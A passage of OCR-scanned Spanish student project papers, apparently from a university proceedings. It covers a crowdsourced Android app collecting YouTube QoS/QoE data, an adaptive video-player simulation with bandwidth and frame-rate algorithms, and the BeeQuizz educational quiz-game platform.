podra ser ejecutado de forma explicita por parte del
administrador del servidor cuando éste desee actualizar la base
de datos o podria realizarse un pequefio script que lo ejecutase
periddicamente. Para la comunicacion con el servidor mySQL
se ha hecho uso de una API oficial denominada mySQL
connector for Java [13].

V. EVALUACION DE LOS RESULTADOS

El producto final que se presenta en este proyecto seré la base
de datos, que contiene un gran volumen de informacién
relacionada con la QoS y la QoE sobre videos de YouTube en
dispositivos Android, asi como una serie de datos aplicables a
diferentes estudios estadisticos.

Esta base de datos sigue un modelo relacional que se compone
de seis tablas distintas que contendran informacion de
diferente naturaleza. Todas ellas contienen un campo que
actuard de clave primaria e identificard univocamente a un
experimento concreto. Este campo se compone a partir de la
fecha y hora de envio de los datos hacia el servidor y un
identificador Unico del dispositivo movil, de modo que se
podra recopilar toda la informacién relativa a un mismo
experimento o consultar todos los experimentos realizados
desde un mismo dispositivo. Se remarca que no es posible
identificar directamente al dispositivo mdvil puesto que antes
de llevar a cabo el envio de los datos se le aplico al
identificador una funcién hash.

En el disefio de la base de datos existe una tabla principal
denominada ‘Datos_video’ en la que se incluyen los datos que
se recopilan de forma invariante en todos los experimentos.
Por otro lado, el resto de tablas incluye un nimero variable de
entradas referentes a cada experimento. Por ejemplo, una de
ellas aporta informacién sobre interrupciones, de modo que
cada entrada correspondera a una interrupcion producida en un
video. Sin embargo el nimero de interrupciones para cada
video es variable.

A continuacidn se realiza una descripcién de todas las tablas
contenidas en la base de datos junto con el significado de cada
uno de los campos.

Tabla ‘Datos_video’:

Se trata de la tabla principal. Contiene una entrada por
experimento recibido en el servidor. En ésta se recogen todos
los datos recopilados comunes a todos los experimentos.

Esta tabla recoge datos como el tiempo de carga del buffer
antes de comenzar la reproduccion del video, el tiempo total
durante el que se ha extendido la reproduccion del video, la

valoracion (MOS) del usuario, edad y sexo de éste, si se ha
realizado a través de una red con conectividad Wi-Fi o a través
de una red celular para méviles e informacion asociada a estas
redes, datos descriptivos del video tales como el nimero de
reproducciones totales o las valoraciones positivas y negativas
por parte de los usuarios de YouTube, etcétera.

Tabla ‘Interrupciones’:

Esta tabla recoge todas las interrupciones que se producen en
cada experimento. Cada entrada de la tabla contiene
informacién sobre una interrupcién. Cabe destacar que todas
las interrupciones detectadas se deben a que se han agotado los
datos en el buffer. No se incluyen interrupciones durante la
reproduccion del video realizadas de forma explicita por parte
del usuario. Cada entrada contiene un identificador del
experimento en el que se ha producido la interrupcién, unas
marcas temporales de inicio y fin de ésta y la duracion con una
precision de milisegundos.

Tabla ‘Niveles Senal’:

Esta tabla recoge medidas de los niveles de sefial (RSSI —
Received Signal Strength Indication) correspondientes a las
redes Wi-Fi y mévil. Cada medida incluye la localizacion del
dispositivo mévil cuando se ha realizado la medicién y una
marca temporal. El nivel de sefial de la red Wi-Fi so6lo sera
posible obtenerlo cuando el dispositivo esté conectado a una
red de este tipo. Sin embargo, el nivel de sefial de la red moévil
podré obtenerse en todo caso puesto que el movil tipicamente
esta conectado a la red del operador.

Tabla ‘Tipo_Conexion_Movil’:

Esta tabla representa la tecnologia mévil de la celda a la que
esta conectado el dispositivo mévil. Puesto que el dispositivo
puede estar en movimiento durante la reproduccion del video,
éste puede ir conectandose a diferentes celdas con diferentes
tecnologias. Por ello puede haber mas de una entrada para cada
experimento junto con una marca temporal. Las tecnologias
mas tipicas que pueden registrarse son CDMA, EDGE, GPRS,
HSDPA, HSPA, HSPA+, UMTS o LTE.

Tabla ‘“Topicos’

Esta tabla incluye todos los topicos relacionados con los
diferentes videos reproducidos. Al incluir en cada entrada el
identificador del experimento, se puede identificar el titulo del
video al que corresponde y el resto de los datos almacenados
sobre el mismo experimento.

Tabla ‘Errores_Reproduccion’

Esta tabla recoge todos los posibles errores que se pueden
producir a lo largo de la reproduccion de un video. Estos
errores se pueden deber tipicamente a la pérdida de
conectividad con la red o por fallos producidos en el
dispositivo movil.

Adicionalmente se ha disefiado un proceso por el cual, con el

dispositivo mdvil conectado a un ordenador personal, se
podran obtener trazas de trafico pudiendo posteriormente
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analizar el patrén de trafico recibido durante el streaming de
video. Para ello, se ha utilizado un fichero binario de una
distribucion de TCPDump [14] que se ha adaptado para
dispositivos Android mediante un proceso de cross-compiling.

VI. VIiAS FUTURAS

Debe destacarse que este proyecto surge de una beca de
colaboracién, de modo que el fin Gltimo es servir de soporte a
la labor de investigacion del departamento.

Con la elaboracion de la base de datos se pretendera recoger
grandes volimenes de informacioén que den lugar a la futura
creacion de estudios estadisticos relacionados principalmente
con la QoE y la QoS en servicios de streaming de video sobre
dispositivos mdviles.

Algunos de los trabajos que se consideran de interés a partir de
la informacion recopilada son:

- Realizacion de modelos de estimacion de QOE a partir de
diferentes datos de QoS y viceversa.

- La obtencién de niveles RSSI asociados a la localizacion
donde se toma la medida permitira posteriormente trazar un
mapa en el que se muestren todas las mediciones de los niveles
de cobertura para cada una de las tecnologias moviles (GSM,
UMTS, LTE, etcétera) y para las células Wi-Fi.

- Realizacién de estudios estadisticos en los que se manejen
variables tales como el nimero de reproducciones totales, los
topicos relacionados con los diferentes videos o el nimero de
valoraciones positivas (me gusta) y negativas (no me gusta)
por parte de los usuarios de YouTube. Asimismo, los datos van
asociados al sexo y edad del usuario, por lo que también
podrian incluirse en el estudio estadistico dichas variables
demograficas.

- Obtencion de estadisticas sobre el tiempo de buffering antes
de iniciar el video o el nimero de interrupciones y la duracion
de éstas. Esto permitird ya no sélo realizar modelos de
estimacion entre QoS y QoE, sino también realizar algunos
estudios que relacionen estas caracteristicas con el tipo de red
que se esté utilizando.

- Con la obtencion de trazas de trafico, se podran realizar
estudios futuros sobre la generacion de trafico por parte de los
servidores de YouTube. Asimismo, mediante ingenieria
inversa podrian descubrirse algunos aspectos del protocolo de
comunicacion que utiliza este mismo servicio.

No obstante, con la informacién recogida en la base de datos
se estima que se podrian hacer multiples estudios estadisticos
que no han sido contemplados a priori.

VII. CONCLUSIONES

En el presente Trabajo de Fin de Grado se ha disefiado un
sistema compuesto por diversas herramientas que trabajan de
forma colaborativa. Con ello se ha conseguido elaborar una
plataforma de monitorizacion de datos sobre streaming de
video en dispositivos moviles. Estos datos dardn informacion
sobre la Calidad de Servicio (QoS) y la Calidad de Experiencia
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(QoE) en diversos experimentos en los que se llevan a cabo
reproducciones de videos del servidor de YouTube. Ademas
se incluyen datos sobre niveles de cobertura de las redes movil
y Wi-Fi, datos demograficos de los usuarios y estadisticas de
los videos tales como el ndmero de reproducciones, topicos
relacionados, valoracién de los usuarios de YouTube, etcétera.
Todos estos datos quedaran recogidos en una base de datos
centralizada que se utilizara como fuente de informacion para
posibles estudios estadisticos de investigacion posteriores.

En el sistema desarrollado, toda la informacién se recopila en
el lado del cliente, a través de una aplicacién movil. Esto ha
posibilitado la realizacion de experimentos sobre el servicio de
videos de YouTube, que se trata actualmente del lider mundial
en el ambito del streaming sobre video, lo que magnifica
considerablemente el alcance de este proyecto.

Por Gltimo, cabe destacar que la aplicacion se basa en la
filosofia de crowdsourcing, lo que ha reportado una gran
eficiencia en costes en lo que se refiere a la obtencidn de datos
y la oportunidad de acceder a una muestra muy amplia y
heterogénea conformada por todos los usuarios que utilizan
méviles con el sistema operativo Android en la actualidad.
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En este trabajo se proponen técnicas de reproduccion y
descarga para la reproduccién de video, de forma que ofrezca
mejor calidad que el utilizado por el reproductor de YouTube.
Para este fin, se han disefiado varios algoritmos que adaptan la
frecuencia de solicitudes entre cliente y servidor, asi como la
velocidad de reproduccion, en funcion de las condiciones del
trafico en la red. Se ha estudiado la relacién entre velocidad de
reproduccion y satisfaccion del usuario mediante un test de
opinion. El modelo obtenido se ha aplicado en los algoritmos
desarrollados.

La evaluacion de los algoritmos propuestos mediante un
simulador de red demuestran que dan mejores resultados que el
reproductor de YouTube mévil en los escenarios de problemas
en la red estudiados.

Palabras clave— streaming de video, rafaga inicial, throttling,
buffer, parada, umbral, Youtube, Algoritmo, ancho de banda,
velocidad de reproduccion.

I. INTRODUCCION

L presente proyecto es un trabajo de estudio e
investigacion sobre la implementacion de un reproductor
de video Streaming inteligente mediante distintos algoritmos.
En este proyecto profundizaremos especialmente en las
estrategias a seguir en distintas condiciones de trafico en la
red que disponemos asi como los mensajes que
intercambiaran cliente y servidor, al hacer esto podremos ver
qué algoritmos son mas adecuados para cada uno de los casos
y por tanto hacer la simulaciéon en conjunto de nuestro
reproductor inteligente.

Con este estudio se pretende mejorar el funcionamiento de
los reproductores de video actuales, buscando una mayor
eficiencia y otro punto de vista con respecto a las paradas
durante la reproduccion e intentar que dicha reproduccion sea
lo mas satisfactoria para el usuario.

A. Antecedentes. Descarga de video streaming.

Descarga, reproduccién y congestion para YouTube. (1)
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B. Antecedentes. Reproduccion de video para Youtube.

Utilizacion de umbral superior(100-110 segundos) en el
buffer de reproduccion a partir del cual cerramos conexién.

Utilizacion de umbral inferior(30-40 segundos) a partir del
cual solicitamos nueva conexion.

Android-H usado en dispositivos de alta gama, comportamiento a
estudiar.(3)
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II. DISENO
A. Estimacion del ancho de banda de descarga.

Utilizamos un Algoritmo para estimar el ancho de banda en
cada instante, el resto de algoritmos actuaran cuando detecten
un cambio en el valor del ancho de banda:

BW’=(bytesRecibidosAntes-bytesRecibidos)*8/
(tiempoAnterior-tiempoSimulacién) 1)

BW=BW’*(1-0)+BW*q, Siendo 0=0.99 )

B. Adaptacion de umbral superior.

En nuestro reproductor adaptable buscaremos reducir ese
umbral superior para ahorrar memoria cuando sea posible.
Por ello descenderemos dicho umbral cuando no haya
problemas en la red, y lo aumentaremos al haber problemas,
dotando a nuestro reproductor de adaptabilidad en funcién de
las condiciones de la red.

if (umbralSuperiorAdaptationMode) {
if (BW <= (videoSize / videoDuration) * 8 * 1.8
&& BW > (videoSize / videoDuration) * 8 * 1.2)

umbralSuperior=60;
}
else if (BW <= (videoSize / videoDuration) * 8 * 1.2
&& BW > (videoSize / videoDuration) * 8 * 0.6)

umbralSuperior=70;

}
else if (BW <= (videoSize / videoDuration) * 8 * 0.6)
{

umbralSuperior=80;

}
else if (BW > (videoSize / videoDuration) * 8 * 1.8) {

umbralSuperior=50;

}

C. Algoritmo de cambio de velocidad. Implementacion.

Nuestro algoritmo sera nuevamente adaptable en funcién de
las condiciones de ancho de banda de transmision:

e Si hay problemas en la red, entonces ralentizaremos el
video, disminuyendo los frames/s, para que asi de tiempo
a que lleguen méas datos y el video continde
reproduciéndose sin paradas.

e Si no hay problemas en la red la velocidad de
reproduccion sera la original.

e Es importante notar que tendremos un valor umbral
minimo de calidad que serd el 70% de la velocidad de
reproduccion original, ese serd el valor minimo para la
velocidad de reproduccién y se ha obtenido mediante

tests de opinién como se vera a continuacion.

if (fpsAdaptationMode) {
if (BW <= (videoSize / videoDuration) * 8 * 1.8
&& BW > (videoSize / videoDuration) * 8 * 0.6) {
fps=fpsVideo*BW/(double)((videoSize / videoDuration)
}
else if (BW <= (videoSize / videoDuration) * 8 * 0.6) {
fps = fpsVideo * 0.7;
}
else if (BW > (videoSize / videoDuration) * 8 * 1.8) {
fps = fpsVideo;
}
if(fps>fpsVideo){
fps=fpsVideo;
}
if(fps<fpsVideo*0.7){
fps=fpsVideo*0.7;
}

D. Algoritmo de cambio de velocidad. Estudio de calidad.

Vamos a realizar experimentos sobre usuarios para hallar el
valor umbral en la velocidad de reproduccién a partir del cual
la satisfaccion del usuario decae hasta valores insostenibles,
lo haremos estudiando la calidad del video para cada
velocidad de reproduccion.

Realizaremos el experimento con dos tipos de video, uno con
mayor expectativa de movimiento que otro y nuestras
hipétesis seréan:

e Video 1 con mayor expectativa de movimiento: Su
tolerancia a la ralentizacion sera menor que en el
video siguiente.

e Video 2 con menor expectativa de movimiento: Su
tolerancia a la ralentizacion serd mayor que en el
primer video.

El experimento se ha realizado siguiendo como modelo la
recomendacién ITU-T.910.

Calidad del video segn ITU-T.910:
o Excelente=5.

e Buena=4.

e Regular=3.
e Mediocre=2.
e Mala=1.
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No se han notado diferencias significativas en los resultados
dependiendo del tipo de video.

Los resultados son los siguientes:

Calidad en la reproduccion, media de todos los usuarios para ambos
videos.(4)

Calidad reproduccién media(ambos)
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Podemos concluir a partir de la anterior gréfica que consiste
en la calidad para ambos videos que si la velocidad de
reproduccion es mayor o igual al 70% de la velocidad
original, la calidad es aceptable para el usuario, si la
velocidad de reproduccién es menor entonces no.

I1l. IMPLEMENTACION

Queremos disefiar un reproductor de video inteligente, para
ello definiremos los pardmetros necesarios y mostramos
explicaremos el funcionamiento general del programa
mediante un diagrama de flujo asi como los métodos més
significativos que implementa  nuestros  algoritmos
inteligentes.

A. Diagrama de flujo de reproductor.
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B. planificarReproduccion().

Este método es muy importante, ya que cumplira tres
funciones principalmente:

e Calcular el ancho de banda en cada instante:

float alfa = 0.99; //valor 6ptimo para evitar fluctuaciones
excesivas en el ancho de banda[0,1]

float Bwprima;

BWoprima = (bytesRcvdAnt - bytesRcvd)*8 /
(tiempoAnt - simTime());

BW = BWprima * (1 - alfa) + BW * alfa;
bytesRcvdAnt = bytesRcvd;
tiempoAnt = simTime();
* Implementar o no las mejoras introducidas por nuestro
reproductor comprobando estas condiciones:
if (umbralSuperiorAdaptationMode)
if (fpsAdaptationMode)

e Llamar al método
reproduccion del video.

reproducir() para simular la

timeoutPlayer = new cMessage("timerl");
timeoutPlayer->setKind(PLAYERUPDATE);
scheduleAt(simTime() + delay, timeoutPlayer);

C. reproducir().

void ClienteYoutube::reproducir() {//método importante
que simula nuestro reproductor

isplaying = true;//estamos en reproduccion

if (segundosRcvd > Nfot / (double) fpsVideo) {

buffer = bytesRcvd - (Nfot*bytesPerFrame); //recalculamos
el buffer

segundosBuffer = buffer / (videoSize /
videoDuration);//pasamos a segundos los bytes del
buffer

bytesPerFrame=(videoSize/(videoDuration*fpsVideo));//byte
s que hay en cada frame

videoReproducido = (Nfot*bytesPerFrame)/(videoSize
/videoDuration);//video reproducido en segundos

Nfot = Nfot + 1;//importante pasar al siguiente fotograma
una vez terminada la reproduccion del fotograma actual

Calculamos por primera vez bytesPerFrame y lo
utilizamos para calcular el buffer, que se ira actualizando al ir
cambiando los bytes Recibidos e incrementandose el nimero
de fotograma.

También calculamos el video reproducido y al final una vez
reproducido el fotograma actual incrementamos Nfot.

else {// no tenemos datos suficientes para reproducir,
entonces hay una pausa

isplaying = false;
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numeroPausas=numeroPausas + 1;
numeroPausasVector.record(numeroPausas);

}

IV. EVALUACION

Exponemos los resultados obtenidos tras la simuacion del
programa implementado en el capitulo anterior, ademés se
describiran los escenarios para los cuales hemos obtenido
dichos resultados.

Por Gltimo realizaremos un andlisis profundo sobre las
mejoras aportadas por nuestro reproductor asi como
analizarlo comparativamente con el reproductor de Youtube.

A. Topologia de la red.

Mostramos la topologia de la red implementada. Conexién
cliente-servidor y el escenario Manager afiadido:

Topologia de la red.(5)

IntercambioYoutube

configurator ¢cenarioManager

&

& &

client Een

B. Escenario 1 de simulacion: umbral superior adaptable.

El escenario 1 de simulacion serd un escenario sin problemas
en la red en cuanto a ancho de banda de transmisién.

Comparativa entre YouTube y nuestro reproductor adaptable
una vez activada la mejora en adaptabilidad para el umbral
superior.

Ahorro considerable en memoria sin perjuicio en la calidad
de reproduccion del video a estudiar(300 segundos de
duracion).

Segundos en buffer en escenario 1 para Youtube y para reproductor

adaptable.(6)
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Una vez realizado el calculo de la ocupacion media en buffer
obtenemos los siguientes resultados:

e Ocupaciéon media en Buffer para Youtube: 60,427
segundos.

e Ocupacién media en Buffer
reproductor: 41,116 segundos.

para nuestro

Nuestro reproductor para el escenario 1:

e Dota de mayor flexibilidad a la reproduccion pudiendo
adaptar en cada momento el umbral superior y por tanto
la memoria m&xima necesaria.

e  Produce un ahorro en memoria considerable, reduciendo
la ocupacion media en buffer considerablemente.

e No produce problemas en cuanto a paradas durante la
reproduccion del video.

C. Escenario 2 de simulacién: velocidad de reproduccion
adaptable.

El escenario 2 de simulaci6n sera un escenario con
problemas en la red en cuanto a ancho de banda de
transmision, se simulara una caida en el ancho de banda
durante la simulacién para ver si nuestro reproductor
adaptable es mejor que YouTube en estas condiciones.

Comparativa entre YouTube y nuestro reproductor adaptable
una vez activada la mejora en adaptabilidad para la velocidad
de reproduccion.

Nuestro objetivo es mejorar la calidad de la reproduccion
evitando las paradas que tendra el reproductor de Y outube.

Segundo escenario: hay problemas en la red durante un
intervalo grande de tiempo.

e Descenso del ancho de banda hasta alcanzar los 250kbps
en el segundo 30 de la simulacién.

e Descenso del ancho de banda hasta alcanzar los 150kbps
en el segundo 60 de la simulacién.

e  Descenso del ancho de banda hasta alcanzar los 50kbps
en el segundo 90 de la simulacién.

e Ascenso del ancho de banda hasta alcanzar los 150kbps
en el segundo 140 de la simulacién.

e Ascenso del ancho de banda hasta alcanzar los 250kbps
en el segundo 160 de la simulacion.

e Ascenso del ancho de banda hasta alcanzar los 10Mbps
en el segundo 180 de la simulacion.

A continuacion mostramos el estado del buffer de
reproduccion para YouTube y para nuestro reproductor
adaptable una vez implementada la mejora de ralentizacion.
Se produce agotamiento del buffer para YouTube, para
nuestro reproductor no.
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Segundos en buffer en escenario 2 para Youtube y para reproductor

adaptable.(7)
Segundos en Buffer
160 \
140 \\ = Segundos
120 \\ en Buffer
Youtube
z e ;u 150 \\
e ps
% 80 Kkbps so 10! \\ —Segundos
@ o - MBp. en Buffer
150 230 adaptable
40
3
20
0 Naed AN
0 100 e 500 300 400
Tiempo(s)

NuUmero de paradas para YouTube: 4
Numero de paradas para reproductor con velocidad
adaptable: 0

Por tanto se muestra que para YouTube el video reproducido
tiene paradas durante su reproduccion y para nuestro
reproductor no se producen estas paradas ya que se adecua la
velocidad de reproduccion para evitar el agotamiento del
buffer de reproduccién.

Video reproducido en escenario 2 para Youtube y para reproductor
adaptable.(8)
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Ademas vemos como se ralentiza nuestra reproduccién
cuando empieza a detectar problemas en la transmisién, y
gracias a ello evita las paradas.

Si interpolamos los valores de los frames/s obtendremos
esta gréfica en cuanto a la calidad de la reproduccion:

Calidad de reproduccion en escenario 2 para reproductor adaptable.(9)
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e Hemos calculado también la calidad media, realizando
un promedio y el resultado es de: 4,185.
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Nuestro reproductor para el escenario 2:

e Dota al reproductor de mayor flexibilidad vy
adaptabilidad segun las condiciones de trafico en la red.

e Reduce el nimero de paradas, llegando en este caso a
evitarlas totalmente mientras YouTube tiene 4 paradas.

e Establece un umbral minimo del 70% en cuanto a
velocidad de reproduccion original para asegurarnos una
calidad de reproduccidn aceptable por el usuario.

V. CONCLUSIONES

Se ha propuesto un reproductor alternativo a YouTube
implementando mejoras desde el punto de vista de la
memoria y la eficiencia en la reproduccion de videos.

e Hemos disefiado e implementado un reproductor
adaptable, flexible y mas eficiente que Youtube en
términos de memoria, llegando a tener una
ocupacién media el buffer de reproduccion 40%
menor.

e Hemos implementado un algoritmo que ralentizara
la velocidad de reproduccion hasta el 70% de la
velocidad de reproduccion original segin las
condiciones de trafico en la red. Permitiendo un
menor agotamiento del buffer de reproduccion y
reduciendo considerablemente el namero de
paradas sin gran perjuicio en la calidad de
visualizacidn percibida por el usuario.

Durante el experimento obtuvimos que la minima velocidad
de reproduccion necesaria para que el usuario siga con un
grado aceptable de satisfaccion es el 70% de la velocidad de
reproduccion original.

e Durante el experimento llegamos a la conclusion
que el tipo de video no tiene una influencia
significativa en la escala de satisfaccion del usuario.

A. Trabajo futuro.

Las investigaciones relacionadas con este proyecto pueden
sequir realizandose en temas en los que ain no se ha
profundizado.

e Seguir buscando mejoras en la reproduccién,
buscando mayor adaptabilidad en el umbral inferior
del buffer de reproduccidn y otros pardmetros.

e Sintonizacion de los pardmetros de adaptacion
propuestos en nuestro reproductor
Implementacidn real del reproductor adaptable.
Evaluacion de la satisfaccion de los usuarios en la
implementacion fisica del reproductor adaptable con
un estudio amplio para varios videos, escenarios y
diferentes condiciones de adaptabilidad.
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BeeQuizz es una plataforma para mantener, usar y desarrollar
juegos docentes que permitan la mejor asimilacion y refuerzo de
los contenidos de distintas materias. El sistema ofrece al
administrador y a los profesores una interfaz para gestionar bases
de datos de preguntas categorizadas por temas y dificultades, que
son luego integradas en distintos juegos. Estos juegos pueden ser
individuales y multijugador. Los estudiantes pueden acceder a la
plataforma desde cualquier dispositivo que disponga de un
navegador que soporte HTMLS5 y conexion a Internet, por lo que
se facilita su uso desde cualquier ubicacién. Se disefié una API
basada en servicios web que permiten que cualquiera pueda
desarrollar sus propios juegos, con acceso a las funcionalidades
de la plataforma. Se implement6 un juego multijugador y otro de
un solo participante para demostrar la funcionalidad del sistema'y
el uso de las API de BeeQuizz

Palabras clave—AJAX, Aplicacion, Docencia,
JQuery, JSON, Juegos, Movil, Multiplataforma,
Plataforma, Web.

HTMLS,
MVC,

l. INTRODUCCION

D ESDE las Ultimas décadas del siglo XX estamos
viviendo lo que podriamos Ilamar “Revolucién
Digital”, aunque es a principios del siglo XXI cuando esto se
acentla y cuando podemos hablar de la era de los
dispositivos inteligentes. Esto se traduce en la existencia de
usuarios conectados las 24 horas del dia a la red sin
necesidad de estar delante del ordenador, gracias a los
Smartphone y las tablets. Segun un informe realizado por el
analista Gartner las ventas de tablets crecieron un 69.8% en
2013, mientras que la de ordenadores bajaron un 7.6%
respecto al afio anterior. [1]

Dado que las instituciones educativas no pueden
permanecer al margen de esta evolucién se apoyan en ella
para ampliar y complementar las actividades realizadas en las
aulas, ademas de usarla igualmente para que el alumno
adquiera las habilidades necesarias para sobrevivir en la
sociedad actual. Segun el informe Horizon 2013 de
ensefianza universitaria [2], los juegos y la gamificacién son
tecnologias que tendran una gran repercusion en la ensefianza
y el aprendizaje universitario en los préximos dos o tres afios.

Tras conocer los datos anteriores, se pensd hacer un
proyecto que entrelazard el mundo de las TIC (Tecnologias
de la Informacién y la Comunicacion) y de la educacion de
una forma lddica y entretenida, aprovechando todos los
aspectos positivos que presentan los juegos en la ensefianza.
Ademaés, usando algunas de las tecnologias mas demandadas
y novedosas de hoy en dia, como puede ser el caso de
HTMLS5 vy las herramientas asociadas a ella para el desarrollo
en aplicaciones moviles.

Los objetivos para este proyecto eran:

- Desarrollar una plataforma Web para la gestion y
uso de juegos como herramienta de aprendizaje, que
fuese multijugador y multiplataforma: BeeQuizz.

- Crear un juego de prueba tanto para un jugador
COmo para varios.

- Disponer de una API (Application Programming
Interface) para que cualquiera pudiera crear nuevos
juegos.

Il. ESTADO DEL ARTE

Tal y como se ha comentado anteriormente, el aprendizaje
basado en juegos es y sera una de las tecnologias mas
influentes a corto plazo. Desde que en 2003 James Gee [3]
describié por primera vez el impacto de los juegos en la
ensefianza, este campo ha ido avanzando a pasos agigantados.

Hoy en dia el aprendizaje basado en juegos refleja las
aptitudes que las instituciones quieren inculcar a sus
alumnos, como puede ser la capacidad de resolucién de
problemas, la comunicacidn, los conocimientos digitales o la
colaboracion entre otros.

A. Soluciones existentes

Durante el periodo de investigacion sobre el estudio de
mercado, se buscaron las diferentes plataformas existentes
para el apoyo a la docencia basadas en juegos,
identificandose numerosos juegos adaptados al aprendizaje.
Sin embargo, no se hallaron tantas plataformas que
soportaran el desarrollo y gestion de varios de este tipo de
juegos. Los dos ejemplos mas representativos de este tipo de
plataformas son:
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1) Unigenios

Proyecto elaborado por la universidad de Oviedo con otras
entidades [4]. Tiene como objetivo acercar la ciencia a los
jovenes de una manera didactica y entretenida a través del
uso de juegos de mesa adaptados a un formato digital.

2) MOODLE [5] (Modular Object-Oriented Dynamic
Learning Enviromen)

Entorno de Aprendizaje Virtual que ofrece la creacion y
gestion de plataformas educativas que van a permitir la
comunicacion entre el alumno y el profesorado.

Al realizar el estudio de las diferentes aplicaciones
comercializadas que responden a las necesidades de este
proyecto, se llegé a la conclusién que existian varias
carencias que BeeQuizz podria subsanar como es la
adaptacion de la plataforma al entorno maévil y el acceso a la
plataforma a cualquier tipo de usuario independientemente de
si es alumno de la universidad o no.

B. Tecnologias relacionadas.

A continuacion se citan las diferentes tecnologias utilizadas
en la realizacion de BeeQuizz y el porqué de su eleccion.

- HTML5 (HyperText Markup Language, version
5) [6]: Nuevo estandar propuesto por la W3C
(WorldwWideWebConsortium) para el desarrollo de
documentos basados en etiquetas. Se eligié porque
hace posible que las paginas sean compatibles con
todos los navegadores incluyendo los de los
teléfonos mdviles y otros dispositivos, usados para
navegar por Internet. Hace que la aplicacion sea
totalmente multiplataforma.

- jQuery [7]: Libreria de funciones JavaScript.
Aporta una compatibilidad robusta entre los
navegadores, asi como numerosas funcionalidades
gue permitiran que el recorrido a través de los
documentos HTML, el manejo de eventos y las
interacciones con AJAX. Fue usado en este proyecto
porque es soportado por multitud de navegadores
incluidos los navegadores en moviles y tablets, y el
tiempo de respuesta en los mismos ha mejorado.

- jQuery Ul: Libreria usada por jQuery que
presenta una gran variedad de efectos visuales,
widgets y plugins. [8]

- AJAX (Asynchronous JavaScript + XML)
[9][10]: Conjunto de tecnologias asincronas que
permiten el intercambio de datos con el servidor y la
modificacion de las paginas web sin necesidad de
actualizarlas en su totalidad. Se decidié usarla
porque permite una interaccion fluida con los
clientes, porque da la posibilidad de tratar la
informacion sin que el usuario tenga que esperar el
resultado de estos tratamientos para continuar la
navegacion por la aplicacion y porque es valido en
cualquier plataforma y navegador.

- JSON  (JavaScript

Object  Notation)[11]:

Formato de texto, en el que se utiliza la sintaxis Java
Script para la descripcion de objetos de datos. Estos
objetos son utilizados para el almacenamiento vy el
intercambio de informacion. Es mucho mas
pequefio, mas rapido y sencillo de analizar que
XML. JSON permite la integraciéon sencilla con
HTML5 y jQuery ademas de con otras muchas
herramientas, por lo que se decidié usarlo. Ademas,
de porque permite intercambiar la informacion
mediante Ilamadas asincronas con un formato ligero.

- Jackson: Libreria de Java que permite serializar
y deserializar de una manera sencilla objetos JSON.
[12]

- Java [13] [14]: Es un lenguaje de programacion
orientado a objetos, independiente de la plataforma,
que permite el desarrollo de aplicaciones.

- Java Mail: Libreria de Java que permite el envio
y recepcion de correos electrénicos directamente
desde la aplicacion Java.

- Spring Framework [15]: Plataforma Java
gratuita que proporciona una infraestructura que
actla de base de las aplicaciones Java a desarrollar.

- Spring Security [16]: Framework JAVA que
proporciona servicios de seguridad completos (sobre
todo autenticacion y autorizaciéon) para poder
gestionar las aplicaciones, que han sido creadas
usando el Framework Spring.

- Maven [17], [18]: Herramienta de software libre
para la gestion del ciclo de vida de un proyecto,

- Apache Tomcat 7: Contenedor web con soporte
de Servlets y JSPs (JavaServer Pages). En BeeQuizz
se ha usado de manera totalmente autbnoma y seré
el encargado de contener los Servlet de la parte del
servidor.

- PostgreSQL: sistema de gestion de bases de
datos objeto — relacional, de codigo abierto, de gran
potencia y robusto. Se utilizé en BeeQuizz gracias a
su soporte de distintos tipos de datos y a la herencia
entre tablas entre otros.

- Twitter Bootstrap: Framework de Twitter que
permite crear interfaces web con CSS y JavaScript.
Adapta la interfaz dependiendo del tamafio del
dispositivo sin que el usuario tenga que hacer nada,
gracias al disefio adaptativo (Responsive Design)
que implementa [19]. Fue usado, por su capacidad
de adaptarse a cualquier terminal dindmicamente y
por su capacidad multiplataforma.

I1l. TEMPORIZACION Y COSTES

El trabajo realizado a lo largo del proyecto se dividi6 en una
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serie de paquetes de trabajo que a su vez se descompusieron en
varias actividades. Haciendo uso de un diagrama de Gantt se
hizo una estimacién del tiempo a consumir en cada una de
estas actividades. La estimacion completa del proyecto fue 5
meses.

Las personas que trabajaron en la realizacion de BeeQuizz
fueron:

- D. Juan José Ramos Mufoz, profesor del
departamento de Teoria de la Sefial, Telematica y
Comunicaciones de la universidad de Granada como
tutor del proyecto.

- Cristina Garrido Lopez, alumna de la Escuela
Técnica Superior de Ingenierias Informatica y
Telecomunicaciones de la universidad de Granada
como autora del proyecto.

El coste de los recursos humanos de este proyecto se elevd
a 239 dias (jornadas de 8 horas) y el coste material es de
10025¢€.

IVV. DISENO DE LA PLATAFORMA

La plataforma BeeQuizz es una herramienta que por un lado
permite a los usuarios agregar preguntas y respuestas, jugar a
los juegos ya existentes y desarrollar otros mediante el uso de
API que proporciona BeeQuizz. Por otro lado, permite a los
administradores realizar actividades extra como la validacion,
modificacion y supresion de las preguntas y respuestas
introducidas por los usuarios. Ademas de la insercién de
NUEevos juegos.

A. Disefio General

El disefio de la aplicacion es de tipo cliente-servidor. El
cliente accede a la aplicacidn, la cual se encuentra alojada en
un servidor, a través de la direccion http://beequizz.es. En la
figura 1 se muestra el esquema del disefio del sistema, cuyos
componentes se detallan brevemente a continuacion.

8.4

profesor

JSON +HTTP

Beequizz

Base de datos

JSON +HTTP

Usuario

Fig. 1. Disefio general de la aplicacion.

1) Dispositivo de usuario

El usuario debe disponer de un dispositivo mévil con
conectividad a la red para poder acceder a la aplicacion y las
caracteristicas que se le ofrece. También se puede acceder a
la aplicacion mediante un ordenador de sobremesa 0 un
portatil, con la condicién de que tengan acceso a la red.

2) Servidor de alojamiento de la aplicacién

Es una pieza clave para la aplicacién, ya que aqui se alojan
todos los datos de la misma y hace posible su ejecucion. Para
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esto, el equipo consta de la instalacion de un software de
servidor web, capaz de servir las paginas web y poder atender
las solicitudes y respuestas de los usuarios mediante HTTP.
También se ha necesitado una base de datos donde almacenar
los datos que maneja la aplicacion.

3) Base de datos

La informacién de BeeQuizz se almacenara en una base de
datos PostgreSQL alojada en el propio servidor. La
plataforma tiene como base tres grandes grupos que son el
usuario, la plataforma en si y las preguntas.

B. Disefio de la arquitectura BeeQuizz

El disefio de BeeQuizz estd basado en una arquitectura
MVCDAO (Model View Controller Data Access Object) o
arquitectura de 4 niveles.

Se ha elegido esta arquitectura ya que es bastante clara en
cuanto a la estructura, por lo que en caso de modificacion o
de conflicto en algunas de las capas no hay porqué tocar la
estructura y al contenido de las demas capas. La claridad y la
organizacion de la que se habla no hubiesen sido posibles sin
la ayuda de Maven y sin las anotaciones de Spring. A
continuacion se describen cada una de las capas de este
